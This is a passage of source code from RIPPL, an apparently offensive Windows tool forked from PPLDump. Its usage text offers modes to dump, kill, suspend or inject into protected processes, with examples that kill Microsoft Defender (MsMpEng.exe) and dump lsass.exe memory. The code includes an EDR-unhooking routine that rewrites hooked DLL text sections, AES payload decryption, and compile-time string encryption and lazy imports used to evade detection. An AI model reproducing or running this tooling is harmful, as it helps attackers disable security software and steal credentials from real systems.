LdrDisableThreadCalloutsForDll( IN PVOID DllHandle ); //----------------------------------------------------------------------------- // Driver functions NTSYSAPI NTSTATUS NTAPI NtLoadDriver( PUNICODE_STRING DriverServiceName ); NTSYSAPI NTSTATUS NTAPI ZwLoadDriver( PUNICODE_STRING DriverServiceName ); NTSYSAPI NTSTATUS NTAPI NtUnloadDriver( PUNICODE_STRING DriverServiceName ); NTSYSAPI NTSTATUS NTAPI ZwUnloadDriver( PUNICODE_STRING DriverServiceName ); //----------------------------------------------------------------------------- // Functions dealing with NTSTATUS and Win32 error typedef enum _HARDERROR_RESPONSE_OPTION { OptionAbortRetryIgnore, OptionOk, OptionOkCancel, OptionRetryCancel, OptionYesNo, OptionYesNoCancel, OptionShutdownSystem } HARDERROR_RESPONSE_OPTION, *PHARDERROR_RESPONSE_OPTION; typedef enum _HARDERROR_RESPONSE { ResponseReturnToCaller, ResponseNotHandled, ResponseAbort, ResponseCancel, ResponseIgnore, ResponseNo, ResponseOk, ResponseRetry, ResponseYes } HARDERROR_RESPONSE, *PHARDERROR_RESPONSE; NTSYSAPI ULONG NTAPI RtlNtStatusToDosError( NTSTATUS Status ); NTSYSAPI ULONG NTAPI RtlNtStatusToDosErrorNoTeb( NTSTATUS Status ); NTSYSAPI NTSTATUS NTAPI RtlGetLastNtStatus( ); NTSYSAPI ULONG NTAPI RtlGetLastWin32Error( ); NTSYSAPI VOID NTAPI RtlSetLastWin32Error( ULONG WinError ); NTSYSAPI VOID NTAPI RtlSetLastWin32ErrorAndNtStatusFromNtStatus( NTSTATUS Status ); NTSYSAPI NTSTATUS NTAPI NtRaiseHardError( IN NTSTATUS ErrorStatus, IN ULONG NumberOfParameters, IN PUNICODE_STRING UnicodeStringParameterMask OPTIONAL, IN PVOID * Parameters, IN HARDERROR_RESPONSE_OPTION ResponseOption, OUT PHARDERROR_RESPONSE Response ); //----------------------------------------------------------------------------- // Other functions NTSYSAPI NTSTATUS NTAPI NtContinue( IN PCONTEXT Context, IN BOOLEAN Alertable ); NTSYSAPI NTSTATUS NTAPI NtTestAlert( ); NTSYSAPI NTSTATUS NTAPI NtQueryPerformanceCounter( OUT PLARGE_INTEGER PerformanceCounter, OUT PLARGE_INTEGER PerformanceFrequency OPTIONAL ); NTSYSAPI NTSTATUS NTAPI NtAllocateLocallyUniqueId( OUT PLUID LocallyUniqueId ); NTSYSAPI NTSTATUS NTAPI NtDelayExecution( IN BOOLEAN Alertable, IN PLARGE_INTEGER DelayInterval ); NTSYSAPI NTSTATUS NTAPI NtDisplayString( IN PUNICODE_STRING String ); NTSYSAPI NTSTATUS NTAPI RtlGetVersion( PRTL_OSVERSIONINFOW lpVersionInformation ); NTSYSAPI NTSTATUS NTAPI RtlGetCurrentDirectory_U( ULONG nBufferLength, PWSTR lpBuffer ); NTSYSAPI NTSTATUS NTAPI NtCreateTransaction( PHANDLE TransactionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, LPGUID Uow, HANDLE TmHandle, ULONG CreateOptions, ULONG IsolationLevel, ULONG IsolationFlags, PLARGE_INTEGER Timeout, PUNICODE_STRING Description ); NTSYSAPI NTSTATUS NTAPI NtCreateThreadEx ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); NTSYSAPI NTSTATUS NTAPI NtSuspendProcess ( _In_ HANDLE hProcess ); #ifdef __cplusplus } // extern "C" #endif #endif // __NTDLL_H__ ================================================ FILE: RIPPL/packages.config ================================================  ================================================ FILE: RIPPL/resource.h ================================================ //{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // #define IDR_RCDATA1 103 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 106 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 #endif #endif ================================================ FILE: RIPPL/skCrypter.hpp ================================================ #pragma once /*____________________________________________________________________________________________________________ Original Author: skadro Github: https://github.com/skadro-official License: See end of file skCrypter Compile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+ *Not removing this part is appreciated* ____________________________________________________________________________________________________________*/ #ifdef _KERNEL_MODE namespace std { // STRUCT TEMPLATE remove_reference template struct remove_reference { using type = _Ty; }; template struct remove_reference<_Ty&> { using type = _Ty; }; template struct remove_reference<_Ty&&> { using type = _Ty; }; template using remove_reference_t = typename remove_reference<_Ty>::type; // STRUCT TEMPLATE remove_const template struct remove_const { // remove top-level const qualifier using type = _Ty; }; template struct remove_const { using type = _Ty; }; template using remove_const_t = typename remove_const<_Ty>::type; } #else #include #endif namespace skc { template using clean_type = typename std::remove_const_t>; template class skCrypter { public: __forceinline constexpr skCrypter(T* data) { crypt(data); } __forceinline T* get() { return _storage; } __forceinline int size() // (w)char count { return _size; } __forceinline char key() { return _key1; } __forceinline T* encrypt() { if (!isEncrypted()) crypt(_storage); return _storage; } __forceinline T* decrypt() { if (isEncrypted()) crypt(_storage); return _storage; } __forceinline bool isEncrypted() { return _storage[_size - 1] != 0; } __forceinline void clear() // set full storage to 0 { for (int i = 0; i < _size; i++) { _storage[i] = 0; } } __forceinline operator T* () { decrypt(); return _storage; } private: __forceinline constexpr void crypt(T* data) { for (int i = 0; i < _size; i++) { _storage[i] = data[i] ^ (_key1 + i % (1 + _key2)); } } T _storage[_size]{}; }; } #define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7]) #define skCrypt_key(str, key1, key2) []() { \ constexpr static auto crypted = skc::skCrypter \ >((skc::clean_type*)str); \ return crypted; }() /*________________________________________________________________________________ MIT License Copyright (c) 2020 skadro Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ________________________________________________________________________________*/ ================================================ FILE: RIPPL/utils.cpp ================================================ #include "utils.h" BOOL ParseArguments(int argc, wchar_t* argv[]) { BOOL bReturnValue = TRUE; BOOL bHelp = FALSE; if (argc < 3) { PRINTUSAGE(); return FALSE; } g_pwszExecutionMode = argv[1]; switch (g_pwszExecutionMode[1]) { case 'D': { g_intExecutionMode = DUMP_MODE; if (argc < 4) { PRINTLASTERROR(L"[-] Too few arguments for dump mode!\n"); PRINTUSAGE(); return FALSE; } // Read dump file path argc--; g_pwszDumpFilePath = argv[argc]; break; } case 'K': { g_intExecutionMode = KILL_MODE; break; } case 'S': { g_intExecutionMode = SUSPEND_MODE; break; } case 'R': { g_intExecutionMode = RESUME_MODE; break; } case 'L': { g_intExecutionMode = LEAK_MODE; break; } case 'X': { g_intExecutionMode = JOB_KILL_MODE; break; } case 'W': { g_intExecutionMode = JOB_SUPPRESS_MODE; break; } case 'Z': { g_intExecutionMode = SUICIDE_MODE; break; } case 'T': { g_intExecutionMode = TOKEN_DOWNGRADE_MODE; break; } case 'U': { g_intExecutionMode = DRIVER_UNLOAD_MODE; if (argc < 4) { PRINTLASTERROR(L"[-] Too few arguments for driver unload mode!\n"); PRINTUSAGE(); return FALSE; } argc--; g_pwszDumpFilePath = argv[argc]; break; } default: { WPRINTF(L"[-] Invalid option: %ws\n", g_pwszExecutionMode); PRINTUSAGE(); bReturnValue = FALSE; } } if (g_intExecutionMode != DRIVER_UNLOAD_MODE) { // Read target process name or pid argc--; g_pwszProcessName = argv[argc]; // Try to interpret target process argument as a number (PID rather than name) g_dwProcessId = wcstoul(g_pwszProcessName, nullptr, 10); // If the process name turns out to be a PID, unset g_pwszProcessName if (g_dwProcessId != 0) g_pwszProcessName = NULL; } // Parse options while ((argc > 2) && (argv[2][0] == '-')) { switch (argv[2][1]) { case 'h': bReturnValue = FALSE; bHelp = TRUE; break; case 'd': g_bDebug = TRUE; break; case 'f': g_bForce = TRUE; break; default: WPRINTF(L"[-] Invalid option: %ws\n", argv[1]); bReturnValue = FALSE; } ++argv; --argc; } if (bHelp) { PRINTUSAGE(); return FALSE; } return bReturnValue; } VOID PrintArguments() { PRINTDEBUG(L"Debug=%d | Force=%d | Execution Mode='%ws' | Proc='%ws' | PID=%d | File='%ws'\n", g_bDebug, g_bForce, g_pwszExecutionMode, g_pwszProcessName, g_dwProcessId, g_pwszDumpFilePath); } VOID PrintUsage() { wprintf( L" _____ _____ _____ _____ _ \n" " | __ \\|_ _| __ \\| __ \\| | \n" " | |__) | | | | |__) | |__) | | version %ws\n" " | _ / | | | ___/| ___/| | by %ws\n" " | | \\ \\ _| |_| | | | | |____ forked by itm4n's PPLDump\n" " |_| \\_\\_____|_| |_| |______|\n" "\n" "Description:\n" " Manipulate Protected Process Light (PPL) processes with a *userland* exploit\n" "\n", VERSION, AUTHOR ); wprintf( L"Usage: \n" " rippl.exe (-D|-K|-S|-R|-L) [-v] [-d] [-f] (PROC_NAME|PID) [DUMP_FILE]\n" " () -> mandatory arguments\n" " [] -> optional arguments\n" "\n" ); wprintf( L"Operation modes (choose ONLY one):\n" " -D -> Dump the given process\n" " -K -> Kill the given process\n" " -S -> Suspend the given process\n" " -R -> Resume the previously suspended process\n" " -L -> Leak a PROCESS_ALL_ACCESS handle to the given process\n" " -X -> Kill the given process by assigning it to a job object and terminating the object\n" " -W -> Freeze the process by assigning it to a job object and severely constraining CPU resources of the object\n" " -Z -> Kill the given process by injecting a thread into it which calls exit(0)\n" "\n" ); wprintf( L"Arguments:\n" " PROC_NAME -> The name of a Process to dump\n" " PID -> The ID of a Process to dump\n" " DUMP_FILE -> The path of the output dump file - valid ONLY with the -D option\n" "\n" ); wprintf( L"Options:\n" " -d -> (Debug) Enable debug mode\n" " -f -> (Force) Bypass DefineDosDevice error check\n" "\n" ); wprintf( L"Examples:\n" " rippl.exe -K MsMpEng.exe\n" " rippl.exe -S MsMpEng.exe\n" " rippl.exe -R MsMpEng.exe\n" " rippl.exe -D -f lsass.exe lsass.dmp\n" " rippl.exe -D -v -f 720 out.dmp\n" ); } VOID PrintLastError(LPCWSTR pwszFunctionName) { DWORD dwLastError = LI_FN(GetLastError)(); wprintf(L"[-] %ws failed with error code %d - %ws\n", pwszFunctionName, dwLastError, _com_error(HRESULT_FROM_WIN32(dwLastError)).ErrorMessage()); } VOID PrintDebug(LPCWSTR pwszFormat, ...) { if (g_bDebug) { LPWSTR pwszDebugString = NULL; DWORD dwDebugStringLen = 0; va_list va; size_t st_Offset = 0; WCHAR wszUsername[UNLEN + 1] = { 0 }; DWORD dwUsernameLen = UNLEN; GetUserName(wszUsername, &dwUsernameLen); va_start(va, pwszFormat); dwDebugStringLen += _scwprintf(L"[DEBUG][%ws] ", wszUsername) * sizeof(WCHAR); dwDebugStringLen += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2; pwszDebugString = (LPWSTR)LocalAlloc(LPTR, dwDebugStringLen); if (pwszDebugString) { StringCbPrintf(pwszDebugString, dwDebugStringLen, L"[DEBUG][%ws] ", wszUsername); if (SUCCEEDED(StringCbLength(pwszDebugString, dwDebugStringLen, &st_Offset))) { StringCbVPrintf(&pwszDebugString[st_Offset / sizeof(WCHAR)], dwDebugStringLen - st_Offset, pwszFormat, va); wprintf(L"%ws", pwszDebugString); } LocalFree(pwszDebugString); } va_end(va); } } BOOL ProcessGetProtectionLevel(DWORD dwProcessId, PDWORD pdwProtectionLevel) { BOOL bReturnValue = FALSE; HANDLE hProcess = NULL; PROCESS_PROTECTION_LEVEL_INFORMATION level = { 0 }; if (!(hProcess = LI_FN(OpenProcess)(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId))) { PRINTLASTERROR(L"OpenProcess"); goto end; } if (!GetProcessInformation(hProcess, ProcessProtectionLevelInfo, &level, sizeof(level))) { PRINTLASTERROR(L"GetProcessInformation"); goto end; } *pdwProtectionLevel = level.ProtectionLevel; bReturnValue = TRUE; end: if (hProcess) CloseHandle(hProcess); return bReturnValue; } BOOL ProcessGetProtectionLevelAsString(DWORD dwProcessId, LPWSTR* ppwszProtectionLevel) { BOOL bReturnValue = TRUE; DWORD dwProtectionLevel = 0; LPCWSTR pwszProtectionName = nullptr; if (!ProcessGetProtectionLevel(dwProcessId, &dwProtectionLevel)) return FALSE; *ppwszProtectionLevel = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR)); if (!*ppwszProtectionLevel) return FALSE; switch (dwProtectionLevel) { case PROTECTION_LEVEL_WINTCB_LIGHT: pwszProtectionName = skCrypt(L"PsProtectedSignerWinTcb-Light"); break; case PROTECTION_LEVEL_WINDOWS: pwszProtectionName = skCrypt(L"PsProtectedSignerWindows"); break; case PROTECTION_LEVEL_WINDOWS_LIGHT: pwszProtectionName = skCrypt(L"PsProtectedSignerWindows-Light"); break; case PROTECTION_LEVEL_ANTIMALWARE_LIGHT: pwszProtectionName = skCrypt(L"PsProtectedSignerAntimalware-Light"); break; case PROTECTION_LEVEL_LSA_LIGHT: pwszProtectionName = skCrypt(L"PsProtectedSignerLsa-Light"); break; case PROTECTION_LEVEL_WINTCB: pwszProtectionName = skCrypt(L"PsProtectedSignerWinTcb"); break; case PROTECTION_LEVEL_CODEGEN_LIGHT: pwszProtectionName = skCrypt(L"PsProtectedSignerCodegen-Light"); break; case PROTECTION_LEVEL_AUTHENTICODE: pwszProtectionName = skCrypt(L"PsProtectedSignerAuthenticode"); break; case PROTECTION_LEVEL_PPL_APP: pwszProtectionName = skCrypt(L"PsProtectedSignerPplApp"); break; case PROTECTION_LEVEL_NONE: pwszProtectionName = skCrypt(L"None"); break; default: pwszProtectionName = skCrypt(L"Unknown"); bReturnValue = FALSE; } StringCchPrintfW(*ppwszProtectionLevel, 64, skCrypt(L"%ws"), pwszProtectionName); return bReturnValue; } BOOL ProcessGetIntegrityLevel(DWORD dwProcessId, PDWORD pdwIntegrityLevel) { BOOL bReturnValue = FALSE; HANDLE hProcess = NULL; HANDLE hProcessToken = NULL; PTOKEN_MANDATORY_LABEL pLabel = NULL; DWORD dwLength = 0; DWORD dwIntegrityLevel = 0; if (!(hProcess = LI_FN(OpenProcess)(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId))) goto end; if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hProcessToken)) goto end; GetTokenInformation(hProcessToken, TokenIntegrityLevel, pLabel, dwLength, &dwLength); if (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER) goto end; pLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength); if (!pLabel) goto end; if (!GetTokenInformation(hProcessToken, TokenIntegrityLevel, pLabel, dwLength, &dwLength)) goto end; dwIntegrityLevel = *GetSidSubAuthority(pLabel->Label.Sid, *GetSidSubAuthorityCount(pLabel->Label.Sid) - 1); *pdwIntegrityLevel = dwIntegrityLevel; bReturnValue = TRUE; end: if (pLabel) LocalFree(pLabel); if (hProcessToken) CloseHandle(hProcessToken); if (hProcess) CloseHandle(hProcess); return bReturnValue; } BOOL ProcessGetPIDFromName(LPWSTR pwszProcessName, PDWORD pdwProcessId) { BOOL bReturnValue = FALSE; HANDLE hProcessSnap = NULL; PROCESSENTRY32 pe32 = { 0 }; DWORD dwProcessId = 0; DWORD dwMatchCount = 0; BOOL bMatch = FALSE; if ((hProcessSnap = LI_FN(CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE) { PRINTLASTERROR(L"CreateToolhelp32Snapshot"); goto end; } pe32.dwSize = sizeof(PROCESSENTRY32); if (!LI_FN(Process32FirstW)(hProcessSnap, &pe32)) { PRINTLASTERROR(L"Process32First"); goto end; } do { bMatch = FALSE; if (_wcsicmp(pe32.szExeFile, pwszProcessName) == 0) bMatch = TRUE; else { if (PathCchRemoveExtension(pe32.szExeFile, wcslen(pe32.szExeFile) + 1) == S_OK) { if (_wcsicmp(pe32.szExeFile, pwszProcessName) == 0) bMatch = TRUE; } } if (bMatch) { dwProcessId = pe32.th32ProcessID; dwMatchCount++; } } while (LI_FN(Process32NextW)(hProcessSnap, &pe32)); if (dwMatchCount == 0) { WPRINTF(L"[-] Failed to find a process that matches the provided name.\n"); goto end; } if (dwMatchCount > 1) { WPRINTF(L"[-] Found more than one process that matches the provided name. Please provide a PID instead.\n"); goto end; } *pdwProcessId = dwProcessId; bReturnValue = TRUE; end: if (hProcessSnap) CloseHandle(hProcessSnap); return bReturnValue; } HANDLE ObjectManagerCreateDirectory(LPCWSTR dirname) { OBJECT_ATTRIBUTES oa = { 0 }; UNICODE_STRING name = { 0 }; HANDLE hDirectory = NULL; NTSTATUS status = 0; LI_FN(RtlInitUnicodeString)(&name, dirname); InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL); status = LI_FN(NtCreateDirectoryObjectEx)(&hDirectory, DIRECTORY_ALL_ACCESS, &oa, nullptr, FALSE); SetLastError(LI_FN(RtlNtStatusToDosError)(status)); if (status != 0) { PRINTLASTERROR(L"NtCreateDirectoryObjectEx"); return NULL; } return hDirectory; } HANDLE ObjectManagerCreateSymlink(LPCWSTR linkname, LPCWSTR targetname) { OBJECT_ATTRIBUTES oa = { 0 }; UNICODE_STRING name = { 0 }; UNICODE_STRING target = { 0 }; HANDLE hLink = NULL; NTSTATUS status = 0; LI_FN(RtlInitUnicodeString)(&name, linkname); LI_FN(RtlInitUnicodeString)(&target, targetname); InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL); status = LI_FN(NtCreateSymbolicLinkObject)(&hLink, SYMBOLIC_LINK_ALL_ACCESS, &oa, &target); SetLastError(LI_FN(RtlNtStatusToDosError)(status)); if (status != 0) { PRINTLASTERROR(L"NtCreateSymbolicLinkObject"); return NULL; } return hLink; } BOOL TokenGetSid(HANDLE hToken, PSID* ppSid) { BOOL bReturnValue = TRUE; DWORD dwSize = 0; PTOKEN_USER pTokenUser = NULL; if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize)) { if (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER) { PRINTLASTERROR(L"GetTokenInformation"); goto end; } } pTokenUser = (PTOKEN_USER)LocalAlloc(LPTR, dwSize); if (!pTokenUser) goto end; if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) { PRINTLASTERROR(L"GetTokenInformation"); goto end; } *ppSid = (PSID)LocalAlloc(LPTR, SECURITY_MAX_SID_SIZE); if (!*ppSid) goto end; if (!CopySid(SECURITY_MAX_SID_SIZE, *ppSid, pTokenUser->User.Sid)) { PRINTLASTERROR(L"CopySid"); LocalFree(*ppSid); goto end; } bReturnValue = TRUE; end: if (pTokenUser) LocalFree(pTokenUser); return bReturnValue; } BOOL TokenGetSidAsString(HANDLE hToken, LPWSTR* ppwszStringSid) { BOOL bReturnValue = FALSE; PSID pSid = NULL; if (TokenGetSid(hToken, &pSid)) { if (ConvertSidToStringSid(pSid, ppwszStringSid)) { bReturnValue = TRUE; } LocalFree(pSid); } return bReturnValue; } BOOL TokenCompareSids(PSID pSidA, PSID pSidB) { BOOL bReturnValue = FALSE; LPWSTR pwszSidA = NULL; LPWSTR pwszSidB = NULL; if (ConvertSidToStringSid(pSidA, &pwszSidA) && ConvertSidToStringSid(pSidB, &pwszSidB)) { bReturnValue = _wcsicmp(pwszSidA, pwszSidB) == 0; LocalFree(pwszSidA); LocalFree(pwszSidB); } else PRINTLASTERROR(L"ConvertSidToStringSid"); return bReturnValue; } BOOL TokenGetUsername(HANDLE hToken, LPWSTR* ppwszUsername) { BOOL bReturnValue = FALSE; PSID pSid = NULL; const DWORD dwMaxSize = 256; WCHAR wszUsername[dwMaxSize] = { 0 }; WCHAR wszDomain[dwMaxSize] = { 0 }; DWORD dwMaxUsername = dwMaxSize; DWORD dwMaxDomain = dwMaxSize; SID_NAME_USE type; if (!TokenGetSid(hToken, &pSid)) goto end; if (!LookupAccountSid(NULL, pSid, wszUsername, &dwMaxUsername, wszDomain, &dwMaxDomain, &type)) { PRINTLASTERROR(L"LookupAccountSid"); goto end; } *ppwszUsername = (LPWSTR)LocalAlloc(LPTR, (dwMaxSize * 2 + 1) * sizeof(WCHAR)); if (!*ppwszUsername) goto end; StringCchPrintf(*ppwszUsername, dwMaxSize * 2 + 1, skCrypt(L"%ws\\%ws"), wszDomain, wszUsername); bReturnValue = TRUE; end: if (pSid) LocalFree(pSid); return bReturnValue; } BOOL TokenCheckPrivilege(HANDLE hToken, LPCWSTR pwszPrivilege, BOOL bEnablePrivilege) { BOOL bReturnValue = FALSE; DWORD dwTokenPrivilegesSize = 0, i = 0, dwPrivilegeNameLength = 0; PTOKEN_PRIVILEGES pTokenPrivileges = NULL; LUID_AND_ATTRIBUTES laa = { 0 }; TOKEN_PRIVILEGES tp = { 0 }; LPWSTR pwszPrivilegeNameTemp = NULL; if (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, &dwTokenPrivilegesSize)) { if (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER) { PRINTLASTERROR(L"GetTokenInformation"); goto end; } } pTokenPrivileges = (PTOKEN_PRIVILEGES)LocalAlloc(LPTR, dwTokenPrivilegesSize); if (!pTokenPrivileges) goto end; if (!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, &dwTokenPrivilegesSize)) { PRINTLASTERROR(L"GetTokenInformation"); goto end; } for (i = 0; i < pTokenPrivileges->PrivilegeCount; i++) { laa = pTokenPrivileges->Privileges[i]; dwPrivilegeNameLength = 0; if (!LI_FN(LookupPrivilegeNameW)(nullptr, &(laa.Luid), nullptr, &dwPrivilegeNameLength)) { if (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER) { PRINTLASTERROR(L"LookupPrivilegeName"); goto end; } } dwPrivilegeNameLength++; if (pwszPrivilegeNameTemp = (LPWSTR)LocalAlloc(LPTR, dwPrivilegeNameLength * sizeof(WCHAR))) { if (LI_FN(LookupPrivilegeNameW)(nullptr, &(laa.Luid), pwszPrivilegeNameTemp, &dwPrivilegeNameLength)) { if (!_wcsicmp(pwszPrivilegeNameTemp, pwszPrivilege)) { if (bEnablePrivilege) { ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = laa.Luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LI_FN(AdjustTokenPrivileges)(hToken, FALSE, &tp, (DWORD)sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) bReturnValue = TRUE; else PRINTLASTERROR(L"AdjustTokenPrivileges"); } else { bReturnValue = TRUE; } break; } } else PRINTLASTERROR(L"LookupPrivilegeName"); LocalFree(pwszPrivilegeNameTemp); } } end: if (pTokenPrivileges) LocalFree(pTokenPrivileges); return bReturnValue; } BOOL TokenIsNotRestricted(HANDLE hToken, PBOOL pbIsNotRestricted) { BOOL bReturnValue = FALSE; DWORD dwSize = 0; PTOKEN_GROUPS pTokenGroups = NULL; if (!GetTokenInformation(hToken, TokenRestrictedSids, NULL, dwSize, &dwSize)) { if (LI_FN(GetLastError)() != ERROR_INSUFFICIENT_BUFFER) { PRINTLASTERROR(L"GetTokenInformation"); goto end; } } pTokenGroups = (PTOKEN_GROUPS)LocalAlloc(LPTR, dwSize); if (!pTokenGroups) goto end; if (!GetTokenInformation(hToken, TokenRestrictedSids, pTokenGroups, dwSize, &dwSize)) { PRINTLASTERROR(L"GetTokenInformation"); goto end; } *pbIsNotRestricted = pTokenGroups->GroupCount == 0; bReturnValue = TRUE; end: if (pTokenGroups) LocalFree(pTokenGroups); return bReturnValue; } BOOL MiscSystemArchIsAmd64() { SYSTEM_INFO sysinfo = { 0 }; GetNativeSystemInfo(&sysinfo); return sysinfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64; } BOOL MiscGenerateGuidString(LPWSTR* ppwszGuid) { BOOL bReturnValue = FALSE; UUID uuid = { 0 }; RPC_WSTR wstrGuid = NULL; if (UuidCreate(&uuid) != RPC_S_OK) goto end; if (UuidToString(&uuid, &wstrGuid) != RPC_S_OK) goto end; *ppwszGuid = (LPWSTR)LocalAlloc(LPTR, (wcslen((LPWSTR)wstrGuid) + 1) * sizeof(WCHAR)); if (!*ppwszGuid) goto end; StringCchPrintfW(*ppwszGuid, wcslen((LPWSTR)wstrGuid), skCrypt(L"%ws"), (LPWSTR)wstrGuid); bReturnValue = TRUE; end: if (wstrGuid) RpcStringFree(&wstrGuid); return bReturnValue; } bool AESDecrypt(_Inout_ BYTE* payload, _In_ DWORD payload_len, _In_ BYTE* key, _In_ DWORD keylen, _In_ BYTE* iv, _In_ DWORD IVlength) { wil::unique_bcrypt_algorithm hAlg; wil::unique_bcrypt_key hKey; ULONG results = 0; NTSTATUS status = STATUS_UNSUCCESSFUL; status = LI_FN(BCryptOpenAlgorithmProvider)(&hAlg, skCrypt(L"AES"), nullptr, 0); if (!NT_SUCCESS(status)) { return false; } status = LI_FN(BCryptGenerateSymmetricKey)(hAlg.get(), &hKey, nullptr, 0, key, keylen, 0); if (!NT_SUCCESS(status)) { return false; } status = LI_FN(BCryptDecrypt)(hKey.get(), payload, payload_len, nullptr, iv, IVlength, payload, payload_len, &results, BCRYPT_BLOCK_PADDING); if (!NT_SUCCESS(status)) { return false; } return true; } bool UnhookDll(_In_ LPCWSTR lpszDllName) { MODULEINFO mi = { 0 }; DWORD oldProtection = 0; LPVOID dllBase = nullptr; wil::unique_handle dllFile; wil::unique_handle dllMapping; wil::unique_hmodule dllModule; LPVOID dllMappingAddress = nullptr; PIMAGE_DOS_HEADER hookedDosHeader = nullptr; PIMAGE_NT_HEADERS hookedNtHeader = nullptr; PIMAGE_SECTION_HEADER hookedSectionHeader = nullptr; bool isProtected = false; wchar_t lpszDllPath[MAX_PATH + 1] = { 0 }; dllModule.reset(LI_FN(GetModuleHandleW)(lpszDllName)); if (!dllModule) { PRINTLASTERROR(L"UnhookDll - "); return false; } if (!LI_FN(GetModuleFileNameW)(dllModule.get(), lpszDllPath, MAX_PATH)) { PRINTLASTERROR(L"UnhookDll - "); return false; } if (!LI_FN(K32GetModuleInformation)(LI_FN(GetCurrentProcess)(), dllModule.get(), &mi, (DWORD)sizeof(mi))) { PRINTLASTERROR(L"UnhookDll - "); return false; } dllBase = (LPVOID)mi.lpBaseOfDll; dllFile.reset(CreateFileW(lpszDllPath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr)); if (!dllFile.is_valid()) { PRINTLASTERROR(L"UnhookDll - "); return false; } dllMapping.reset(LI_FN(CreateFileMappingW)(dllFile.get(), nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr)); if (!dllMapping.is_valid()) { PRINTLASTERROR(L"UnhookDll - "); return false; } dllMappingAddress = LI_FN(MapViewOfFile)(dllMapping.get(), FILE_MAP_READ, 0, 0, 0); if (!dllMappingAddress) { PRINTLASTERROR(L"UnhookDll - "); return false; } hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase; if (!hookedDosHeader) { PRINTLASTERROR(L"UnhookDll - "); return false; } hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew); for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (strcmp((char*)hookedSectionHeader->Name, skCrypt(".text")) == 0) { isProtected = LI_FN(VirtualProtect)((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); isProtected = LI_FN(VirtualProtect)((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); PRINTDEBUG(L"[+] Dll %ws successfully unhooked!\n", lpszDllName); } } return true; } ================================================ FILE: RIPPL/utils.h ================================================ #pragma once #pragma warning(disable: 4503) #include "common.hpp" #include #include #pragma comment (lib, "bcrypt.lib") #pragma comment(lib, "Rpcrt4.lib") #pragma comment(lib, "Pathcch.lib") #ifndef OPSEC #define AUTHOR L"@last0x00" #define VERSION L"0.3" #define PRINTDEBUG(...) PrintDebug(__VA_ARGS__) 